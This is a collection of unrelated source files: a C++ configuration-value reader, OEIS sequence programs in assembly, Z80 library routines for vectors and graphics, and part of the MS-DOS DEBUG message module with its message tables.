bool config_value_reader::begin_associative_array(size_t& size) {
SCOPE(const config_value*);
if (auto dict = get_if<settings>(top)) {
size = dict->size();
// Morph top object, it's being "consumed" by begin_.../end_....
st_.top() = associative_array{dict->begin(), dict->end()};
return true;
}
std::string msg = "expected a dictionary, got a ";
msg += top->type_name();
emplace_error(sec::conversion_failed, std::move(msg));
return false;
}
bool config_value_reader::end_associative_array() {
SCOPE(associative_array);
if (!top.at_end()) {
emplace_error(sec::runtime_error,
"failed to consume all elements in an associative array");
return false;
}
st_.pop();
return true;
}
namespace {
template <class T>
bool pull(config_value_reader& reader, T& x) {
using internal_type = std::conditional_t<std::is_floating_point<T>::value,
config_value::real, T>;
auto assign = [&x](auto& result) {
if constexpr (std::is_floating_point<T>::value) {
x = static_cast<T>(result);
} else {
x = result;
}
};
auto& top = reader.top();
if (holds_alternative<const config_value*>(top)) {
auto ptr = get<const config_value*>(top);
if (auto val = get_if<internal_type>(ptr)) {
assign(*val);
reader.pop();
return true;
} else {
std::string msg = "expected a dictionary, got a ";
msg += to_string(type_name_v<T>);
reader.emplace_error(sec::conversion_failed, std::move(msg));
return false;
}
}
if (holds_alternative<config_value_reader::sequence>(top)) {
auto& seq = get<config_value_reader::sequence>(top);
if (seq.at_end()) {
reader.emplace_error(sec::runtime_error, "value: sequence out of bounds");
return false;
}
auto ptr = std::addressof(seq.current());
if (auto val = get_if<internal_type>(ptr)) {
assign(*val);
seq.advance();
return true;
} else {
std::string msg = "expected a dictionary, got a ";
msg += to_string(type_name_v<T>);
reader.emplace_error(sec::conversion_failed, std::move(msg));
return false;
}
}
if (holds_alternative<config_value_reader::key_ptr>(top)) {
auto ptr = get<config_value_reader::key_ptr>(top);
if constexpr (std::is_same<std::string, T>::value) {
x = *ptr;
reader.pop();
return true;
} else {
if (auto err = detail::parse(*ptr, x)) {
reader.set_error(std::move(err));
return false;
}
return true;
}
}
reader.emplace_error(sec::conversion_failed,
"expected a value, sequence, or key");
return false;
}
} // namespace
bool config_value_reader::value(bool& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(int8_t& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(uint8_t& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(int16_t& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(uint16_t& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(int32_t& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(uint32_t& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(int64_t& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(uint64_t& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(float& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(double& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(long double& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(std::string& x) {
CHECK_NOT_EMPTY();
return pull(*this, x);
}
bool config_value_reader::value(std::u16string&) {
emplace_error(sec::runtime_error, "u16string support not implemented yet");
return false;
}
bool config_value_reader::value(std::u32string&) {
emplace_error(sec::runtime_error, "u32string support not implemented yet");
return false;
}
bool config_value_reader::value(span<byte> bytes) {
CHECK_NOT_EMPTY();
std::string x;
if (!pull(*this, x))
return false;
if (x.size() != bytes.size() * 2) {
emplace_error(sec::runtime_error,
"hex-formatted string does not match expected size");
return false;
}
for (size_t index = 0; index < x.size(); index += 2) {
uint8_t value = 0;
for (size_t i = 0; i < 2; ++i) {
auto c = x[index + i];
if (!isxdigit(c)) {
emplace_error(sec::runtime_error,
"invalid character in hex-formatted string");
return false;
}
detail::parser::add_ascii<16>(value, c);
}
bytes[index / 2] = static_cast<byte>(value);
}
return true;
}
bool config_value_reader::fetch_object_type(const settings* obj,
type_id_t& type) {
if (auto str = get_if<std::string>(obj, "@type"); str == nullptr) {
emplace_error(sec::runtime_error,
"cannot fetch object type: no '@type' entry found");
return false;
} else if (auto id = query_type_id(*str); id == invalid_type_id) {
emplace_error(sec::runtime_error, "no such type: " + *str);
return false;
} else {
type = id;
return true;
}
}
} // namespace caf
|
; A117828: Start with 1 and repeatedly reverse the decimal digits and add 4 to get the next term.
; 1,5,9,13,35,57,79,101,105,505,509,909,913,323,327,727,731,141,145,545,549,949,953,363,367,767,771,181,185,585,589,989,993,403,308,807,712,221,126,625,530,39,97,83,42,28,86,72,31,17,75,61,20,6,10,5,9,13,35,57,79,101,105,505,509,909,913,323,327,727,731
mov $2,$0
mov $0,1
lpb $2
seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
add $0,4
sub $2,1
lpe
|
; A040757: Continued fraction for sqrt(786).
; 28,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56,28,56
pow $1,$0
sub $1,2
gcd $1,$0
mul $1,28
mov $0,$1
|
; size_t w_vector_insert_n_callee(w_vector_t *v, size_t idx, size_t n, void *item)
SECTION code_clib
SECTION code_adt_w_vector
PUBLIC _w_vector_insert_n_callee
EXTERN asm_w_vector_insert_n
_w_vector_insert_n_callee:
pop ix
pop hl
pop bc
pop de
pop af
push ix
jp asm_w_vector_insert_n
|
PUBLIC cleararea
EXTERN pixeladdress
EXTERN leftbitmask, rightbitmask
;
; $Id: clrarea2.asm,v 1.4 2015/01/19 01:32:46 pauloscustodio Exp $
;
; ***********************************************************************
;
; Clear specified graphics area in map.
;
; Design & programming by Gunther Strube, Copyright (C) InterLogic 1995
;
; Generic SMC version by Stefano Bodrato.
;
;
;
; IN: HL = (x,y)
; BC = (width,heigth)
;
; Registers changed after return:
; ......../IXIY same
; AFBCDEHL/.... different
;
.cleararea
ld (coord+1),hl ; SMC: remember y,x
inc b
push bc ; remember height
push bc
push hl
call pixeladdress ; bitpos0 = pixeladdress(x,y)
pop hl
call leftbitmask ; LeftBitMask(bitpos0)
ld (bitmaskl1+1),a ; SMC
ld (bitmaskl2+1),a ; SMC
pop bc
ld a,h
add b
dec a
dec a
ld h,a
push de
call pixeladdress ; bitpos1 = pixeladdress(x+width-1,y)
call rightbitmask ; RightBitMask(bitpos1)
ld (bitmaskr1+1),a
ld (bitmaskr2+1),a ; bitmask1 = LeftBitMask(bitpos0)
pop hl
push hl ; adr0
ex de,hl
cp a
sbc hl,de ; (adr1-adr0)/8
ld a,l
ld (rowbytes1+1),a
ld (rowbytes2+1),a ; rowbytes = (adr1-adr0) div 8, no. of bytes in row
; 0 means that area is within same address
; FOR h = 1 TO height
pop hl ; adr0
.clear_height
xor a
.rowbytes1 cp 0 ; if rowbytes = 0
jr nz, clear_row ; area is within one byte...
ld a,(hl)
.bitmaskl1 and 0 ; preserve bits of leftmost side of byte
ld b,a
ld a,(hl)
.bitmaskr1 and 0 ; preserve bits of rightmost side of byte
or b ; merge preserved bits of left side
ld (hl),a ; (offset) = byte
jr clear_nextrow ; else
.clear_row ; clear area is defined as rows of bytes
ld a,(hl)
.bitmaskl2 and 0 ; preserve only leftmost bits (outside of area)
ld (hl),a ; (offset) = (offset) AND bitmask0
inc hl ; offset += 1 (8 bits)
.rowbytes2 ld b,0 ; r = rowbytes
dec b ; --r
jr z, row_cleared ; if ( r )
.clear_row_loop ; do
ld (hl),0 ; (offset) = 0
inc hl ; offset += 1 (8 bits)
djnz clear_row_loop ; while ( r-- != 0 )
.row_cleared ld a,(hl) ; byte = (adr1)
.bitmaskr2 and 0
ld (hl),a ; preserve only rightmost side of byte (outside area)
.clear_nextrow
.coord ld hl,0 ; SMC -> y,x
inc l
ld (coord+1),hl ; SMC -> y,x
call pixeladdress
ex de,hl ; put adr0 in hl for next row
; END FOR h
.height pop bc
dec c ; height
push bc
jr nz, clear_height
pop bc
.end_cleararea ret
|
PAGE 60,132 ;
TITLE DEBMES.ASM - DEBUGGER MESSAGES PC DOS
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
IF1
%OUT COMPONENT=DEBUG, MODULE=DEBMES
ENDIF
;******************* START OF SPECIFICATIONS *****************************
;
; MODULE NAME:DEBMES.ASM
;
; DESCRIPTIVE NAME: SUPPLIES APPLICABLE MESSAGES TO DEBUG.ASM
;
; FUNCTION: THIS ROUTINE PROVIDES A MEANS BY WHICH MESSAGES MAY BE
; OUTPUT FOR DEBUG. THIS IS HANDLED THROUGH THE MESSAGE
; RETRIEVER FUNCTION SYSDISPMSG. TO
; FACILITATE MIGRATION AWAY FROM THE PRINTF UTILITY
; THE INTERFACE FOR INVOKING MESSAGES HAS REMAINED THE SAME.
; THIS IS ACCOMPLISHED THROUGH THE USE OF MACROS AND TABLES.
; EACH MESSAGE HAS A TABLE OF VALUES REQUIRED BY THE MESSAGE
; RETRIEVER UTILITIES. THE MACROS OPERATE ON THESE TABLES
; TO SUPPLY SYSDISPMSG WITH THE VALUES NECESSARY
; TO PRINT A MESSAGE.
;
; ENTRY POINT: PRINTF
;
; INPUT: PRINTF IS INVOKED AS IT HAS ALWAYS BEEN INVOKED. DX MUST
; POINT TO THE OFFSET OF A MESSAGE TABLE. THE TABLE POINTED TO
; BY DX CONTAINS ALL THE NECESSARY INFORMATION FOR THAT MESSAGE
; TO BE PRINTED.
;
; EXIT-NORMAL: NO CARRY
;
; EXIT-ERROR: CARRY SET - EITHER MESSAGE NOT FOUND OR UNABLE TO BE DISPLAYED
;
; INTERNAL REFERENCES:
;
; ROUTINE:DISP_MESSAGE - THIS MACRO IS USED TO DIPLAY A MESSAGE
; VIA SYSDISPMSG. IT TAKES AS INPUT A POINTER
; IN DX. THIS POINTER POINTS TO A TABLE OF
; VALUES FOR THE REQUESTED MESSAGE.
; DISP_MESSAGE OBTAINS THE VALUES IT NEEDS TO
; TO INVOKE SYSDISPMSG FROM THIS TABLE.
;
; EXTERNAL REFERENCES:
;
; ROUTINE: SYSMSG.INC - THIS ROUTINE IS SUPPLIED TO INTERFACE THE
; MESSAGE RETRIEVER SERVICES.
;
; NOTES: THIS MODULE SHOULD BE PROCESSED WITH THE SALUT PRE-PROCESSOR
; WITH OPTIONS "PR".
; LINK DEBUG+DEBCOM1+DEBCOM2+DEBCOM3+DEBASM+DEBUASM+DEBERR+DEBCONST+
; DEBDATA+DEBMES
;
; REVISION HISTORY:
;
; AN000 VERSION DOS 4.0 - MESSAGE RETRIEVER IMPLEMENTED. DMS:6/17/87
;
;
; COPYRIGHT: "MS DOS DEBUG Utility"
; "Version 4.00 (C) Copyright 1988 Microsoft"
; "Licensed Material - Property of Microsoft "
;
;******************** END OF SPECIFICATIONS ******************************
;
; CHANGE LOG:
;
; DATE WHO # DESCRIPTION
; -------- --- --- ---------------------------------------------------
; 04/01/90 DIC C02 Message was only printing first parameter, not
; first and second. I made the BX:CX message print
; 1 byte for BX and left CX at 4 bytes. Corresponding
; change in message file, DEBUG line 38. (Compaq STR
; #1804) (MS Bug #338)
;
; 05/25/90 AKM C07 Problem fixed - Number of bytes writtem message
; was being printed with the wrong alignment &
; precision.
; (Microsoft Bug #1156)
;
;============================================================================
.xlist
include sysmsg.inc ;an000;message retriever
.list
msg_utilname <DEBUG> ;an000;DEBUG messages
;=========================================================================
;revised debmes.asm
;=========================================================================
fatal_error equ 45 ;fatal message handler error
unlim_width equ 00h ;unlimited output width
pad_blank equ 20h ;blank pad
pre_load equ 00h ;an000;normal pre-load
pad_zero equ 30h ;an000;zero pad
FALSE EQU 0
TRUE EQU NOT FALSE
;SYSVER EQU FALSE ;if true, i/o direct to bios
INCLUDE SYSVER.INC
;=========================================================================
; macro disp_message: the macro takes the message obtained in get_message
; and displays it to the applicable screen device.
;=========================================================================
disp_message macro tbl ;an000;display message macro
push si ;an000;save affected reg
push di ;an000;
push ax ;an000;
push bx ;an000;
push cx ;an000;
push dx ;an000;
push tbl ;an000;exchange tbl with si
pop si ;an000;
mov ax,[si] ;an000;move message number to ax
mov bx,[si+3] ;an000;display handle
mov cx,[si+7] ;an000;number of subs
mov dl,[si+9] ;an000;function type
mov di,[si+10] ;an000;input buffer if appl.
mov dh,[si+2] ;an000;message type
mov si,[si+5] ;an000;sublist
call sysdispmsg ;an000;display the message
pop dx ;an000;restore affected reg
pop cx ;an000;
pop bx ;an000;
pop ax ;an000;
pop di ;an000;
pop si ;an000;
endm ;an000;end macro disp_message
;=========================================================================
; macro disp_message: end macro
;=========================================================================
CODE SEGMENT PUBLIC BYTE
CODE ENDS
CONST SEGMENT PUBLIC BYTE
CONST ENDS
CSTACK SEGMENT STACK
CSTACK ENDS
DATA SEGMENT PUBLIC BYTE
DATA ENDS
DG GROUP CODE,CONST,CSTACK,DATA
code segment public byte ;an000;code segment
assume cs:dg,ds:dg,ss:dg,es:dg ;an000;
public printf ;an000;share printf
;; public disp_fatal ;an000;fatal error display
public pre_load_message ;an000;message pre load
.xlist
msg_services <MSGDATA>
.list
;=========================================================================
; include sysmsg.inc - message retriever services
;options selected:
; NEARmsg
; DISPLAYmsg
; LOADmsg
; INPUTmsg
; CHARmsg
; NUMmsg
; CLSAmsg
; CLSBmsg
; CLSCmsg
; CLSDmsg
;=========================================================================
.xlist
msg_services <LOADmsg> ;an000;load the messages
msg_services <DISPLAYmsg,CHARmsg,NUMmsg>;an000;get and display messages
msg_services <INPUTmsg> ;an000;input from keyboard
msg_services <DEBUG.CLA,DEBUG.CLB> ;an000;message types
msg_services <DEBUG.CLC,DEBUG.CLD> ;an000;
msg_services <DEBUG.CL1,DEBUG.CL2> ;an000;
.list
;=========================================================================
; printf: printf is a replacement of the printf procedure used in DOS
; releases prior 4.00. printf invokes the macros get_message and
; disp_message to invoke the new message handler. the interface
; into printf will continue to be a pointer to a message passed
; in DX. the pointer is pointing to more than a message now. it
; is pointing to a table for that message containing all relevant
; information for retieving and printing the message. the macros
; get_message and disp_message operate on these tables.
;=========================================================================
printf proc near ;an000;printf procedure
disp_message dx ;an000;display a message
;; $if c ;an000;if an error occurred
;; call disp_fatal ;an000;display the fatal error
;; $endif ;an000;
ret ;an000;return to caller
printf endp ;an000;end printf
;=========================================================================
; disp_fatal: this routine displays a fatal error message in the event
; an error occurred in disp_message.
;=========================================================================
;;disp_fatal proc near ;an000;fatal error message
;;
;; mov ax,fatal_error ;an000;fatal_error number
;; mov bx,stdout ;an000;print to console
;; mov cx,0 ;an000;no parameters
;; mov dl,no_input ;an000;no input will be coming
;; mov dh,UTILITY_MSG_CLASS ;an000;utility messages
;; call sysdispmsg ;an000;dispaly fatal error
;; ret ;an000;return to caller
;;
;;disp_fatal endp ;an000;end disp_fatal
;=========================================================================
; PRE_LOAD_MESSAGE : This routine provides access to the messages required
; by DEBUG. This routine will report if the load was
; successful. An unsuccessful load will cause DEBUG
; to terminate with an appropriate error message.
;
; Date : 6/15/87
;=========================================================================
PRE_LOAD_MESSAGE proc near ;an000;pre-load messages
call SYSLOADMSG ;an000;invoke loader
; $if c ;an000;if an error
JNC $$IF1
pushf ;an000;save flags
call SYSDISPMSG ;an000;let him say why
popf ;an000;restore flags
; $endif ;an000;
$$IF1:
ret ;an000;return to caller
PRE_LOAD_MESSAGE endp ;an000;end proc
include msgdcl.inc
code ends ;an000;end code segment
CONST SEGMENT PUBLIC BYTE
PUBLIC ENDMES_PTR,CRLF_PTR,NAMBAD_PTR
PUBLIC NOTFND_PTR,NOROOM_PTR,BADVER
PUBLIC NOSPACE_PTR,DRVLET
PUBLIC ACCMES_PTR,PROMPT_PTR
PUBLIC TOOBIG_PTR,SYNERR_PTR,BACMES_PTR
PUBLIC HEXERR_PTR,HEXWRT_PTR,WRTMES_PTR,EXEBAD_PTR,EXEWRT_PTR
PUBLIC EXECEMES_PTR, PARITYMES_PTR, NONAMESPEC_PTR
PUBLIC dr1_ptr,dr2_ptr,dr3_ptr,dr4_ptr ;ac000;new messages
PUBLIC CHANGE_FLAG_PTR,DF_ERROR,BF_ERROR,BR_ERROR,BP_ERROR
PUBLIC CONSTEND
;======================= TABLE STRUCTURE =================================
;
; byte 1 - message number of message to be displayed
; byte 2 - message type to be used, i.e.;class 1, utility, etc.
; byte 3 - display handle, i.e.; console, printer, etc.
; byte 4 - pointer to substitution list, if any.
; byte 6 - number of replaceable parameters, if any.
; byte 7 - type of input from keyboard, if any.
; byte 8 - pointer to buffer for keyboard input, if any.
;
;=========================================================================
IF SYSVER
PUBLIC BADDEV_PTR,BADLSTMES_PTR
baddev_ptr label word ;an000;"Bad device name",0
dw 0006 ;an000;message number 6
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
badlstmes_ptr label word ;an000;"Couldn't open list device
; PRN","Enter name of list
; device?"
dw 0007 ;an000;message number 7
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db DOS_KEYB_INP ;an000;keyboard input
dw 00 ;an000;no keyboard buffer
ENDIF
;================= REPLACEABLE PARAMETER SUBLIST STRUCTURE ===============
;
; byte 1 - substitution list size, always 11
; byte 2 - reserved for use by message handler
; byte 3 - pointer to parameter to be used as a substitution
; byte 7 - which parameter is this to replace, %1, %2, etc.
; byte 8 - determines how the parameter is to be output
; byte 9 - determines the maximum width of the parameter string
; byte 10 - determines the minimum width of the parameter string
; byte 11 - define what is to be used as a pad character
;
;=========================================================================
;=========================================================================
; replaceable parameter sublists
;=========================================================================
db_synerr_sub label dword ;an000;synerr parameters
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:arg_buf ;an000;point to argument buffer
db 01 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum width
db pad_blank ;an000;blank pad
db_change_sub label dword ;an000;synerr parameters
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:arg_buf ;an000;point to argument buffer
db 01 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum width
db pad_blank ;an000;blank pad
db_drive_error label dword ;an000;drive error parameters
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:drvlet ;an000;point to drive letter
db 01 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db 01 ;an000;1 byte
db 01 ;an000;1 byte
db pad_blank ;an000;blank pad
;=========================================================================
; end replaceable parameter sublists
;=========================================================================
crlf_ptr label word ;an000;13,10,0
dw 0008 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
bacmes_ptr label word ;an000;32,8,0
dw 0044 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
badver label word ;an000;"Incorrect DOS version"
dw 0001 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
endmes_ptr label word ;an000;13,10,"Program terminated
; normally",0
dw 0009 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
nambad_ptr label word ;an000;"Invalid drive specification",0
dw 0010 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
notfnd_ptr label word ;an000;"File not found",0
dw 0002 ;an000;message number
db Ext_Err_Class ;an000;extended error
dw stderr ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
noroom_ptr label word ;an000;"File creation error",0
dw 0012 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
nospace_ptr label word ;an000;"Insufficient space on disk",0
dw 0013 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
dr1_ptr label word ;an000;"Disk error reading drive %1"
dw 0014 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_drive_error ;an000;sublist
dw 01 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
dr2_ptr label word ;an000;"Disk error writing drive %1"
dw 0015 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_drive_error ;an000;sublist
dw 01 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
dr3_ptr label word ;an000;"Write protect error reading
; drive %1"
dw 0016 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_drive_error ;an000;sublist
dw 01 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
dr4_ptr label word ;an000;"Write protect error writing
; drive %1"
dw 0017 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_drive_error ;an000;sublist
dw 01 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
toobig_ptr label word ;an000;"Insufficient memory",0
dw 0008 ;an000;message number
db Ext_Err_Class ;an000;utility message
dw stderr ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
synerr_ptr label word ;an000;"%1^Error",0
dw 0019 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_synerr_sub ;an000;sublist
dw 01 ;an000;1 sub - leading spaces
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
hexerr_ptr label word ;an000;"Error in EXE or HEX file",0
dw 0020 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
exebad_ptr label word ;an000;"Error in EXE or HEX file",0
dw 0020 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
hexwrt_ptr label word ;an000;"EXE and HEX files cannot be
; written",0
dw 0021 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
exewrt_ptr label word ;an000;"EXE and HEX files cannot be
; written",0
dw 0021 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
execemes_ptr label word ;an000;"EXEC failure",0
dw 0022 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
nonamespec_ptr label word ;an000;"(W)rite error, no destination
; defined",0
dw 0023 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
accmes_ptr label word ;an000;Access denied",0
dw 0024 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
paritymes_ptr label word ;an000;"Parity error or nonexistant
; memory error detected",0
dw 0025 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
prompt_ptr label word ;an000;"-",0
dw 0026 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw 00 ;an000;sublist
dw 00 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
change_flag_ptr label word ;an000;"%1 -",0
dw 0027 ;an000;message number
db UTILITY_MSG_CLASS ;an000;utility message
dw stdout ;an000;display handle
dw dg:db_change_sub ;an000;sublist
dw 01 ;an000;no subs
db no_input ;an000;no keyboard input
dw 00 ;an000;no keyboard buffer
df_error db "df",0
bf_error db "bf",0
br_error db "br",0
bp_error db "bp",0
drvlet db "A",0
CONSTEND LABEL BYTE
CONST ENDS
DATA SEGMENT PUBLIC BYTE
PUBLIC HEX_ARG1,HEX_ARG2,HEX_PTR,ARG_BUF
PUBLIC ARG_BUF_PTR,ADD_PTR,ERR_TYPE
PUBLIC CRLF_PTR,ADD_ARG,SUB_ARG,PROMPT_PTR
PUBLIC REGISTER_PTR,REG_NAME,REG_CONTENTS
PUBLIC SINGLE_REG_PTR,SINGLE_REG_ARG
PUBLIC ERRMES_PTR,LOC_PTR,LOC_ADD
PUBLIC LITTLE_PTR,BIG_PTR,LITTLE_CONTENTS
PUBLIC BIG_CONTENTS,COMP_PTR,COMP_ARG1,COMP_ARG2
PUBLIC COMP_ARG3,COMP_ARG4,COMP_ARG5,COMP_ARG6
PUBLIC WRTMES_PTR,WRT_ARG1,WRT_ARG2
PUBLIC IOTYP,MESTYP
PUBLIC ONE_CHAR_BUF,ONE_CHAR_BUF_PTR
PUBLIC OPBUF,UNASSEM_LN_PTR
PUBLIC QMES_1
PUBLIC QMES_2
PUBLIC QMES_3
PUBLIC QMES_4
PUBLIC QMES_5
PUBLIC HELP_TEXT1
PUBLIC HELP_TEXT2
PUBLIC HELP_TEXT3
PUBLIC HELP_TEXT4
PUBLIC HELP_TEXT5
PUBLIC HELP_TEXT6
PUBLIC xm_han_ret_ptr
PUBLIC xm_mapped_ptr
PUBLIC xm_err80_ptr
PUBLIC xm_err83_ptr
PUBLIC xm_err84_ptr
PUBLIC xm_err85_ptr
PUBLIC xm_err86_ptr
PUBLIC xm_err87_ptr
PUBLIC xm_err88_ptr
PUBLIC xm_err89_ptr
PUBLIC xm_err8a_ptr
PUBLIC xm_err8b_ptr
PUBLIC xm_err8d_ptr
PUBLIC xm_err8e_ptr
PUBLIC xm_err_gen_ptr
PUBLIC xm_parse_err_ptr
PUBLIC xm_status_ptr
PUBLIC xm_page_seg_ptr
PUBLIC xm_deall_ptr
PUBLIC xm_errff_ptr
PUBLIC xm_unall_ptr
PUBLIC xm_han_alloc_ptr
EXTRN XM_HANDLE_RET:word
EXTRN XM_LOG:byte
EXTRN XM_PHY:byte
EXTRN XM_PAGE_CNT:word
EXTRN XM_FRAME:word
EXTRN XM_DEALL_HAN:word
EXTRN XM_ALLOC_PG:word
EXTRN XM_TOTAL_PG:word
EXTRN XM_HAN_ALLOC:word
EXTRN XM_HAN_TOTAL:word
;=========================================================================
; begin parameter sublists
;=========================================================================
;======================= unassemble parameter sublists ===================
db_unassem_sb1 label dword ;an000;unassemble parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:arg_buf ;an000;point to argument buffer
db 01 ;an000;parameter one
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum width
db pad_blank ;an000;blank pad
db_unassem_sb2 label dword ;an000;unassemble parameter 2
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:opbuf ;an000;point to argument buffer
db 02 ;an000;parameter two
db left_align+Char_field_ASCIIZ
;an000;left align/ASCIIZ/character
db unlim_width ;an000;unlimited width
db 00 ;an000;minimum width
db pad_blank ;an000;blank pad
;================== hex argument parameter sublists ======================
db_hexarg_sb1 label dword ;an000;hex argument parameter 1
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:hex_arg1 ;an000;point to argument buffer
db 01 ;an000;parameter one
db right_align+bin_hex_word
;an000;right align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
db_hexarg_sb2 label dword ;an000;hex argument parameter 2
db Sublist_Length ;an000;sublist size
db reserved ;an000;reserved
dd dg:hex_arg2 ;an000;point to argument buffer
db 02 ;an000;parameter two
db right_align+bin_hex_word
;an000;left align/word/hexadecimal
db 04 ;an000;maximum of 4 bytes
db 04 ;an000;minimum of 4 bytes
db pad_zero ;an000;blank pad
